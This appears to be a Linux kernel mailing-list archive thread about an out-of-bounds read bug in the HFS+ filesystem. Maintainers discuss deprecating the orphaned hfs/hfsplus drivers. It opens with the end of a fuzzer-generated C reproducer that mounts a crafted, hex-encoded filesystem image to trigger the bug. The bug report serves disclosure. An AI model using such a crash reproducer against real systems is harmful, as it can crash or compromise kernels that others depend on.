a1\x97\x76\xb2\x93\x8d\x8c\x27\x9b\xd5\x7a\xbb\xa8\xfe\xcf\xff\xe5\x6a\xe5\x72\xf5\xf8\x7f\x79\x3b\x6b\x59\xce\x6a\xae\x67\x23\x4b\x59\xcf\x7a\x56\x33\x93\x64\xa2\xa7\xa3\xb1\x8d\xa5\xf5\xf5\xd5\x99\x3e\x8e\x9c\x3d\xf4\xc8\xd9\xcf\x08\xf4\x7c\x5d\x36\x4f\x6d\xea\x00\x00\x00\x00\x00\x00\x00\xf0\x45\xf2\x8b\x2c\x66\x7c\xd0\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\xaf\x22\x19\xe9\x14\xd5\x72\xb9\x5b\x9f\x48\x63\x34\xc9\x85\x24\x63\xe5\x7e\x9b\xc9\xdf\xba\xf5\x27\xd9\xc3\x41\x07\x00\x00\x00\x00\x67\xe0\xe9\x9d\xec\x64\x23\xe3\xdd\xf5\x76\x51\x7d\xe6\x7f\xae\xfa\xdc\x7f\x21\x6f\xe7\x41\xd6\xb3\x92\xf5\xb4\xb2\x9c\xdb\xd5\x77\x01\x9d\x4f\xfd\x8d\xed\xad\xb9\xd6\xf6\xd6\xdc\xfd\x72\x39\xd8\xef\x77\xfe\x79\xa2\x30\xaa\x1e\xd3\xf9\xee\xe1\xf0\x91\xaf\x56\x7b\x34\x73\x27\x2b\xd5\x96\xeb\xb9\x95\x37\xd3\xca\xed\x34\xaa\x23\x4b\x57\xbb\xf1\x1c\x1e\xd7\xcf\xcb\x98\x8a\x6f\xd7\xfa\x8c\xec\x76\x5d\x96\x33\x7f\xbf\x2e\x0f\x78\xef\x44\x93\x3d\xca\x09\xbf\x4c\x99\xa8\x32\x72\x6e\x37\x23\xd3\x75\x6c\x65\x36\x9e\x39\x3e\x13\x27\x3c\x3b\xfb\x47\x9a\x49\x63\x37\xd8\xcb\xfb\x46\xda\x37\x89\xcf\x95\xf3\x8b\x75\x59\xce\xe7\x37\x47\xe5\x7c\x20\xf6\x67\x62\xb6\xe7\xd9\xf7\xdc\xf1\x39\x4f\xbe\xf2\xa7\xdf\xff\xe8\x6e\xeb\xc1\xbd\xbb\x77\xd6\xa6\x86\x67\x4a\xfd\x19\xa9\xcb\x76\x77\xc3\xfe\x4c\xcc\xf5\x64\xe2\xf9\x2f\x72\x26\x0e\x98\xae\x32\x71\x65\x77\x7d\x31\xdf\xcf\x0f\x33\x95\xc9\xbc\x96\xd5\xac\xe4\x27\x59\xca\x7a\x96\x33\x99\xef\x55\xb5\xa5\xfa\xf9\x5c\xf4\x5c\xf2\x47\x64\xea\xe6\x23\x6b\xaf\x7d\x56\x24\x63\xf5\x79\xe9\x9c\xac\x93\xc5\xf4\x72\x75\xec\x78\x56\xf2\x83\xbc\x99\xdb\x59\xce\x2b\xd5\xbf\xd9\xcc\xe4\x1b\x99\xcf\x7c\x16\x7a\xce\xf0\x95\x3e\x5e\x69\x1b\x47\x5c\xf5\xed\xff\x3f\x34\xf8\x6b\x5f\xad\x2b\xcd\x24\xbf\xad\xcb\xe1\x50\xe6\xf5\x99\x9e\xbc\xf6\xbe\xe6\x4e\x54\x6d\xbd\x5b\xf6\xb2\x74\xe9\xf4\xef\x47\xa3\x5f\xaa\x2b\xe5\x18\xbf\xac\xcb\xe1\xb0\x3f\x13\x33\x3d\x99\x78\xf6\xf8\x4c\xfc\xae\x7a\x59\x59\x6b\x3d\xb8\xb7\x7a\x77\xe9\xad\xfe\x86\xbb\xf4\x7e\x5d\x29\xaf\xa3\x5f\x0f\xd5\x5d\xa2\x7c\xbe\x5c\x2a\x4f\x56\xb5\xf6\xe8\xb3\xa3\x6c\x7b\xf6\xd0\xb6\x99\xaa\xed\xf2\x6e\x5b\xe3\x40\xdb\x95\xdd\xb6\xce\x95\xba\x79\xe4\x95\x3a\x56\xbf\x87\x3b\xd8\xd3\x6c\xd5\xf6\xfc\xa1\x6d\x73\x55\xdb\xd5\x9e\xb6\xc3\xde\x6f\x01\x30\xf4\x2e\x7e\xed\xe2\x58\xf3\x1f\xcd\xbf\x36\x3f\x6c\xfe\xaa\x79\xb7\xf9\xea\x85\xef\x9e\xff\xe6\xf9\x17\xc7\x72\xee\xcf\xe7\xbe\x35\x3a\x3d\xf2\xe5\xc6\x8b\xc5\x1f\xf3\x61\x7e\xb6\xf7\xf9\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\xfc\xd6\xde\x79\xf7\xde\x52\xab\xb5\xbc\xba\xaf\xd2\x6e\xb7\xdf\x3b\xa2\xe9\x0c\x2b\x7f\x38\xed\x0e\xbb\x3f\x67\x76\x86\xb3\x78\xe1\xa9\x64\x90\x39\x1c\x8e\xca\xbf\xdb\xed\x76\xbd\xa5\x18\x86\x78\x8e\xaf\xb4\x6b\xa7\xda\xf3\xdf\xeb\xdf\x3f\x1b\x86\x09\xf6\x51\x19\xe4\xab\x12\x70\x16\x6e\xac\xdf\x7f\xeb\xc6\xda\x3b\xef\x7e\x7d\xe5\xfe\xd2\x1b\xcb\x6f\x2c\x3f\x58\x98\x9f\x5f\x98\x5e\x98\x7f\x65\xee\xc6\x9d\x95\xd6\xf2\x74\xe7\x71\xd0\x51\x02\x8f\xc3\xde\x4d\x7f\xd0\x91\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\x3a\x8b\x3f\x27\x18\xf4\x1c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x27\xdb\xe2\x54\x46\x1f\xa6\xc8\xcc\xf4\xf5\xe9\x72\x7d\x7b\x6b\xae\x55\x2e\xdd\xfa\xde\x9e\xa3\x49\x1a\x49\x8a\x9f\x26\xc5\x47\xc9\xcd\x74\x96\x4c\xf4\x74\x57\x1c\x35\xce\x07\x2b\x0b\xaf\x7f\xfc\xe9\xf6\x27\x7b\x7d\x8d\x76\xf7\x6f\x1c\x77\x5c\x7f\x36\xeb\x25\x93\x49\x46\xea\xf2\xb4\xfa\xbb\xf5\x5f\xf7\x57\xec\xce\xb0\x4c\xd8\xb5\x6e\xe2\x60\xd0\xfe\x13\x00\x00\xff\xff\xaa\x7b\x10\xae", 1606);
syz_mount_image(/*fs=*/0x400000000600, /*dir=*/0x400000000200, /*flags=MS_POSIXACL|MS_SYNCHRONOUS|MS_NOATIME*/0x10410, /*opts=*/0x400000000140, /*chdir=*/1, /*size=*/0x646, /*img=*/0x400000000640);
memcpy((void*)0x400000000140, "./file1\000", 8);
	syscall(__NR_unlink, /*path=*/0x400000000140ul);
	return 0;
}

^ permalink raw reply related	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-14 13:45 [Bug Report] OOB-read BUG in HFS+ filesystem =?gb18030?B?bm93NHlyZWFs?=
@ 2025-04-14 14:18 ` Christian Brauner
  2025-04-14 14:21   ` Matthew Wilcox
  0 siblings, 1 reply; 9+ messages in thread
From: Christian Brauner @ 2025-04-14 14:18 UTC (permalink / raw)
  To: now4yreal, Jan Kara
  Cc: Matthew Wilcox (Oracle), Kara, Viro, Bacik, Stone, Sandeen,
	Johnson, linux-fsdevel, linux-kernel

On Mon, Apr 14, 2025 at 09:45:25PM +0800, now4yreal wrote:
> Dear Linux Security Maintainers,
> I would like to report a OOB-read vulnerability in the HFS+ file
> system, which I discovered using our in-house developed kernel fuzzer,
> Symsyz.

Bug reports from non-official syzbot instances are generally not
accepted.

hfs and hfsplus are orphaned filesystems since at least 2014. Bug
reports for such filesystems won't receive much attention from the core
maintainers.

I'm very very close to putting them on the chopping block as they're
slowly turning into pointless burdens.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-14 14:18 ` Christian Brauner
@ 2025-04-14 14:21   ` Matthew Wilcox
  2025-04-14 16:23     ` David Sterba
  0 siblings, 1 reply; 9+ messages in thread
From: Matthew Wilcox @ 2025-04-14 14:21 UTC (permalink / raw)
  To: Christian Brauner
  Cc: now4yreal, Jan Kara, Viro, Bacik, Stone, Sandeen, Johnson,
	linux-fsdevel, linux-kernel

On Mon, Apr 14, 2025 at 04:18:27PM +0200, Christian Brauner wrote:
> On Mon, Apr 14, 2025 at 09:45:25PM +0800, now4yreal wrote:
> > Dear Linux Security Maintainers,
> > I would like to report a OOB-read vulnerability in the HFS+ file
> > system, which I discovered using our in-house developed kernel fuzzer,
> > Symsyz.
> 
> Bug reports from non-official syzbot instances are generally not
> accepted.
> 
> hfs and hfsplus are orphaned filesystems since at least 2014. Bug
> reports for such filesystems won't receive much attention from the core
> maintainers.
> 
> I'm very very close to putting them on the chopping block as they're
> slowly turning into pointless burdens.

I've tried asking some people who are long term Apple & Linux people,
but haven't been able to find anyone interested in becoming maintainer.
Let's drop both hfs & hfsplus.  Ten years of being unmaintained is
long enough.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-14 14:21   ` Matthew Wilcox
@ 2025-04-14 16:23     ` David Sterba
  2025-04-15  7:52       ` Christian Brauner
  0 siblings, 1 reply; 9+ messages in thread
From: David Sterba @ 2025-04-14 16:23 UTC (permalink / raw)
  To: Matthew Wilcox
  Cc: Christian Brauner, now4yreal, Jan Kara, Viro, Bacik, Stone,
	Sandeen, Johnson, linux-fsdevel, linux-kernel

On Mon, Apr 14, 2025 at 03:21:56PM +0100, Matthew Wilcox wrote:
> On Mon, Apr 14, 2025 at 04:18:27PM +0200, Christian Brauner wrote:
> > On Mon, Apr 14, 2025 at 09:45:25PM +0800, now4yreal wrote:
> > > Dear Linux Security Maintainers,
> > > I would like to report a OOB-read vulnerability in the HFS+ file
> > > system, which I discovered using our in-house developed kernel fuzzer,
> > > Symsyz.
> > 
> > Bug reports from non-official syzbot instances are generally not
> > accepted.
> > 
> > hfs and hfsplus are orphaned filesystems since at least 2014. Bug
> > reports for such filesystems won't receive much attention from the core
> > maintainers.
> > 
> > I'm very very close to putting them on the chopping block as they're
> > slowly turning into pointless burdens.
> 
> I've tried asking some people who are long term Apple & Linux people,
> but haven't been able to find anyone interested in becoming maintainer.
> Let's drop both hfs & hfsplus.  Ten years of being unmaintained is
> long enough.

Agreed. If needed there are FUSE implementations to access .dmg files
with HFS/HFS+ or other standalone tools.

https://github.com/0x09/hfsfuse
https://github.com/darlinghq/darling-dmg

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-14 16:23     ` David Sterba
@ 2025-04-15  7:52       ` Christian Brauner
  2025-04-15  9:16         ` Johannes Thumshirn
  0 siblings, 1 reply; 9+ messages in thread
From: Christian Brauner @ 2025-04-15  7:52 UTC (permalink / raw)
  To: David Sterba, Linus Torvalds
  Cc: Matthew Wilcox, now4yreal, Jan Kara, Viro, Bacik, Stone, Sandeen,
	Johnson, linux-fsdevel, linux-kernel

On Mon, Apr 14, 2025 at 06:23:28PM +0200, David Sterba wrote:
> On Mon, Apr 14, 2025 at 03:21:56PM +0100, Matthew Wilcox wrote:
> > On Mon, Apr 14, 2025 at 04:18:27PM +0200, Christian Brauner wrote:
> > > On Mon, Apr 14, 2025 at 09:45:25PM +0800, now4yreal wrote:
> > > > Dear Linux Security Maintainers,
> > > > I would like to report a OOB-read vulnerability in the HFS+ file
> > > > system, which I discovered using our in-house developed kernel fuzzer,
> > > > Symsyz.
> > > 
> > > Bug reports from non-official syzbot instances are generally not
> > > accepted.
> > > 
> > > hfs and hfsplus are orphaned filesystems since at least 2014. Bug
> > > reports for such filesystems won't receive much attention from the core
> > > maintainers.
> > > 
> > > I'm very very close to putting them on the chopping block as they're
> > > slowly turning into pointless burdens.
> > 
> > I've tried asking some people who are long term Apple & Linux people,
> > but haven't been able to find anyone interested in becoming maintainer.
> > Let's drop both hfs & hfsplus.  Ten years of being unmaintained is
> > long enough.
> 
> Agreed. If needed there are FUSE implementations to access .dmg files
> with HFS/HFS+ or other standalone tools.
> 
> https://github.com/0x09/hfsfuse
> https://github.com/darlinghq/darling-dmg

Ok, I'm open to trying. I'm adding a deprecation message when initating
a new hfs{plus} context logged to dmesg and then we can try and remove
it by the end of the year.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-15  7:52       ` Christian Brauner
@ 2025-04-15  9:16         ` Johannes Thumshirn
  2025-04-15  9:31           ` Christian Brauner
  0 siblings, 1 reply; 9+ messages in thread
From: Johannes Thumshirn @ 2025-04-15  9:16 UTC (permalink / raw)
  To: Christian Brauner, David Sterba, Linus Torvalds
  Cc: Matthew Wilcox, now4yreal, Jan Kara, Viro, Bacik, Stone, Sandeen,
	Johnson, linux-fsdevel, linux-kernel

On 15.04.25 09:52, Christian Brauner wrote:
> On Mon, Apr 14, 2025 at 06:23:28PM +0200, David Sterba wrote:
>> On Mon, Apr 14, 2025 at 03:21:56PM +0100, Matthew Wilcox wrote:
>>> On Mon, Apr 14, 2025 at 04:18:27PM +0200, Christian Brauner wrote:
>>>> On Mon, Apr 14, 2025 at 09:45:25PM +0800, now4yreal wrote:
>>>>> Dear Linux Security Maintainers,
>>>>> I would like to report a OOB-read vulnerability in the HFS+ file
>>>>> system, which I discovered using our in-house developed kernel fuzzer,
>>>>> Symsyz.
>>>>
>>>> Bug reports from non-official syzbot instances are generally not
>>>> accepted.
>>>>
>>>> hfs and hfsplus are orphaned filesystems since at least 2014. Bug
>>>> reports for such filesystems won't receive much attention from the core
>>>> maintainers.
>>>>
>>>> I'm very very close to putting them on the chopping block as they're
>>>> slowly turning into pointless burdens.
>>>
>>> I've tried asking some people who are long term Apple & Linux people,
>>> but haven't been able to find anyone interested in becoming maintainer.
>>> Let's drop both hfs & hfsplus.  Ten years of being unmaintained is
>>> long enough.
>>
>> Agreed. If needed there are FUSE implementations to access .dmg files
>> with HFS/HFS+ or other standalone tools.
>>
>> https://github.com/0x09/hfsfuse
>> https://github.com/darlinghq/darling-dmg
> 
> Ok, I'm open to trying. I'm adding a deprecation message when initating
> a new hfs{plus} context logged to dmesg and then we can try and remove
> it by the end of the year.
> 
> 

Just a word of caution though, (at least Intel) Macs have their EFI ESP 
partition on HFS+ instead of FAT. I don't own an Apple Silicon Mac so I 
can't check if it's there as well.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-15  9:16         ` Johannes Thumshirn
@ 2025-04-15  9:31           ` Christian Brauner
  2025-04-15 10:23             ` Johannes Thumshirn
  0 siblings, 1 reply; 9+ messages in thread
From: Christian Brauner @ 2025-04-15  9:31 UTC (permalink / raw)
  To: Johannes Thumshirn
  Cc: David Sterba, Linus Torvalds, Matthew Wilcox, now4yreal, Jan Kara,
	Viro, Bacik, Stone, Sandeen, Johnson, linux-fsdevel, linux-kernel

On Tue, Apr 15, 2025 at 09:16:58AM +0000, Johannes Thumshirn wrote:
> On 15.04.25 09:52, Christian Brauner wrote:
> > On Mon, Apr 14, 2025 at 06:23:28PM +0200, David Sterba wrote:
> >> On Mon, Apr 14, 2025 at 03:21:56PM +0100, Matthew Wilcox wrote:
> >>> On Mon, Apr 14, 2025 at 04:18:27PM +0200, Christian Brauner wrote:
> >>>> On Mon, Apr 14, 2025 at 09:45:25PM +0800, now4yreal wrote:
> >>>>> Dear Linux Security Maintainers,
> >>>>> I would like to report a OOB-read vulnerability in the HFS+ file
> >>>>> system, which I discovered using our in-house developed kernel fuzzer,
> >>>>> Symsyz.
> >>>>
> >>>> Bug reports from non-official syzbot instances are generally not
> >>>> accepted.
> >>>>
> >>>> hfs and hfsplus are orphaned filesystems since at least 2014. Bug
> >>>> reports for such filesystems won't receive much attention from the core
> >>>> maintainers.
> >>>>
> >>>> I'm very very close to putting them on the chopping block as they're
> >>>> slowly turning into pointless burdens.
> >>>
> >>> I've tried asking some people who are long term Apple & Linux people,
> >>> but haven't been able to find anyone interested in becoming maintainer.
> >>> Let's drop both hfs & hfsplus.  Ten years of being unmaintained is
> >>> long enough.
> >>
> >> Agreed. If needed there are FUSE implementations to access .dmg files
> >> with HFS/HFS+ or other standalone tools.
> >>
> >> https://github.com/0x09/hfsfuse
> >> https://github.com/darlinghq/darling-dmg
> > 
> > Ok, I'm open to trying. I'm adding a deprecation message when initating
> > a new hfs{plus} context logged to dmesg and then we can try and remove
> > it by the end of the year.
> > 
> > 
> 
> Just a word of caution though, (at least Intel) Macs have their EFI ESP 
> partition on HFS+ instead of FAT. I don't own an Apple Silicon Mac so I 
> can't check if it's there as well.

Yeah, someone mentioned that. Well, then we hopefully have someone
stepping up to for maintainership.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-15  9:31           ` Christian Brauner
@ 2025-04-15 10:23             ` Johannes Thumshirn
  2025-04-15 11:25               ` Christian Brauner
  0 siblings, 1 reply; 9+ messages in thread
From: Johannes Thumshirn @ 2025-04-15 10:23 UTC (permalink / raw)
  To: Christian Brauner
  Cc: David Sterba, Linus Torvalds, Matthew Wilcox, now4yreal, Jan Kara,
	Viro, Bacik, Stone, Sandeen, Johnson, linux-fsdevel, linux-kernel

On 15.04.25 11:31, Christian Brauner wrote:
> On Tue, Apr 15, 2025 at 09:16:58AM +0000, Johannes Thumshirn wrote:
>> On 15.04.25 09:52, Christian Brauner wrote:
>>> Ok, I'm open to trying. I'm adding a deprecation message when initating
>>> a new hfs{plus} context logged to dmesg and then we can try and remove
>>> it by the end of the year.
>>>
>>>
>>
>> Just a word of caution though, (at least Intel) Macs have their EFI ESP
>> partition on HFS+ instead of FAT. I don't own an Apple Silicon Mac so I
>> can't check if it's there as well.
> 
> Yeah, someone mentioned that. Well, then we hopefully have someone
> stepping up to for maintainership.
> 

I hope you aren't considering me here :D. I'm lacking the time to 
volunteer as a Maintainer but I can offer to look into some fixes.

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [Bug Report] OOB-read BUG in HFS+ filesystem
  2025-04-15 10:23             ` Johannes Thumshirn
@ 2025-04-15 11:25               ` Christian Brauner
  0 siblings, 0 replies; 9+ messages in thread
From: Christian Brauner @ 2025-04-15 11:25 UTC (permalink / raw)
  To: Johannes Thumshirn
  Cc: David Sterba, Linus Torvalds, Matthew Wilcox, now4yreal, Jan Kara,
	Viro, Bacik, Stone, Sandeen, Johnson, linux-fsdevel, linux-kernel

On Tue, Apr 15, 2025 at 10:23:27AM +0000, Johannes Thumshirn wrote:
> On 15.04.25 11:31, Christian Brauner wrote:
> > On Tue, Apr 15, 2025 at 09:16:58AM +0000, Johannes Thumshirn wrote:
> >> On 15.04.25 09:52, Christian Brauner wrote:
> >>> Ok, I'm open to trying. I'm adding a deprecation message when initating
> >>> a new hfs{plus} context logged to dmesg and then we can try and remove
> >>> it by the end of the year.
> >>>
> >>>
> >>
> >> Just a word of caution though, (at least Intel) Macs have their EFI ESP
> >> partition on HFS+ instead of FAT. I don't own an Apple Silicon Mac so I
> >> can't check if it's there as well.
> > 
> > Yeah, someone mentioned that. Well, then we hopefully have someone
> > stepping up to for maintainership.
> > 
> 
> I hope you aren't considering me here :D. I'm lacking the time to 
> volunteer as a Maintainer but I can offer to look into some fixes.

No no, I'm aware. I'm just saying that if this is really crucial this
Mac use-case then we better find someone to take care of it properly.

^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2025-04-15 11:25 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-04-14 13:45 [Bug Report] OOB-read BUG in HFS+ filesystem =?gb18030?B?bm93NHlyZWFs?=
2025-04-14 14:18 ` Christian Brauner
2025-04-14 14:21   ` Matthew Wilcox
2025-04-14 16:23     ` David Sterba
2025-04-15  7:52       ` Christian Brauner
2025-04-15  9:16         ` Johannes Thumshirn
2025-04-15  9:31           ` Christian Brauner
2025-04-15 10:23             ` Johannes Thumshirn
2025-04-15 11:25               ` Christian Brauner

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).